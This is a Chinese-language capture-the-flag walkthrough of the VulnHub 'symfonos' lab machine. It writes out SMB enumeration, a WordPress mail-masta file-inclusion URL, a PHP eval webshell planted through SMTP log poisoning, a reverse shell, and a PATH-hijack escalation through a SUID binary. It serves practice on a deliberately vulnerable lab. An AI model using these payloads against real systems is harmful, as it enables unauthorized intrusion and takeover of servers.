环境准备：
靶机-192.168.0.110
攻击机-192.168.0.128
演示：
首先nmap探测网段。
打开网站发现为一张图片没别的内容
使用smbclient探测445端口内容
smbclient -L 192.168.0.110 -L：显示服务器端所分享出来的所有资源
发现存在helios用户，和anonymous，先访问下匿名用户资源
smbclient //192.168.0.110/anonymous
存在attention.txt，下载出来打开
给了三个密码，发现qwerty是helios的密码，smb连接helios用户
存在一个research.txt和tudo.txt，打开
给了个路径，拼接访问192.168.0.110/h3l105
发现是wordpress，使用kali自带的wpscan来扫描。
wpscan --url http://192.168.0.110/h3l105/ --plugins-detection aggressive
存在mail-masta，使用searchsploit搜索
访问最后给的url
http://192.168.0.110/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
存在文件包含漏洞，这里使用文件包含日志来获得shell。
端口发现存在25端口，访问邮件日志/var/mail/helios
http://192.168.0.110/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios
写邮件植入webshell
telnet 192.168.0.110 25 MAIL FROM: MALABIS RCPT TO: helios data <?php eval($_POST["pass"]);?> . QUIT
使用蚁剑连接
这里反弹到msf中
用户权限为helios，进行提权，这里需要使用环境变量提权。首先创建一个交互式的shell
python -c 'import pty;pty.spawn("/bin/bash")'
查找suid命令
find / -perm -u=s -type f 2>/dev/null
发现存在statuscheck似乎为用户创建的，使用strings命令查看statuscheck中的字符
strings /opt/statuscheck
存在一个curl。
cd /tmp 切换目录 echo "/bin/sh" > curl 将sh写到tmp目录下的curl中 chmod 777 curl 赋权 export PATH=/tmp:$PATH 将tmp目录写到环境变量中 echo $PATH 输出环境变量，这样执行curl就会执行tmp目录下的curl，其实就为执行sh， /opt/statuscheck 执行拥有suid权限的statuscheck，因文件会执行curl，本质就会用suid权限去执行sh
标签：helios,0.110,symfonos,192.168,提权,vulnhub,mail,curl,statuscheck From： https://www.cnblogs.com/re8sd/p/17982622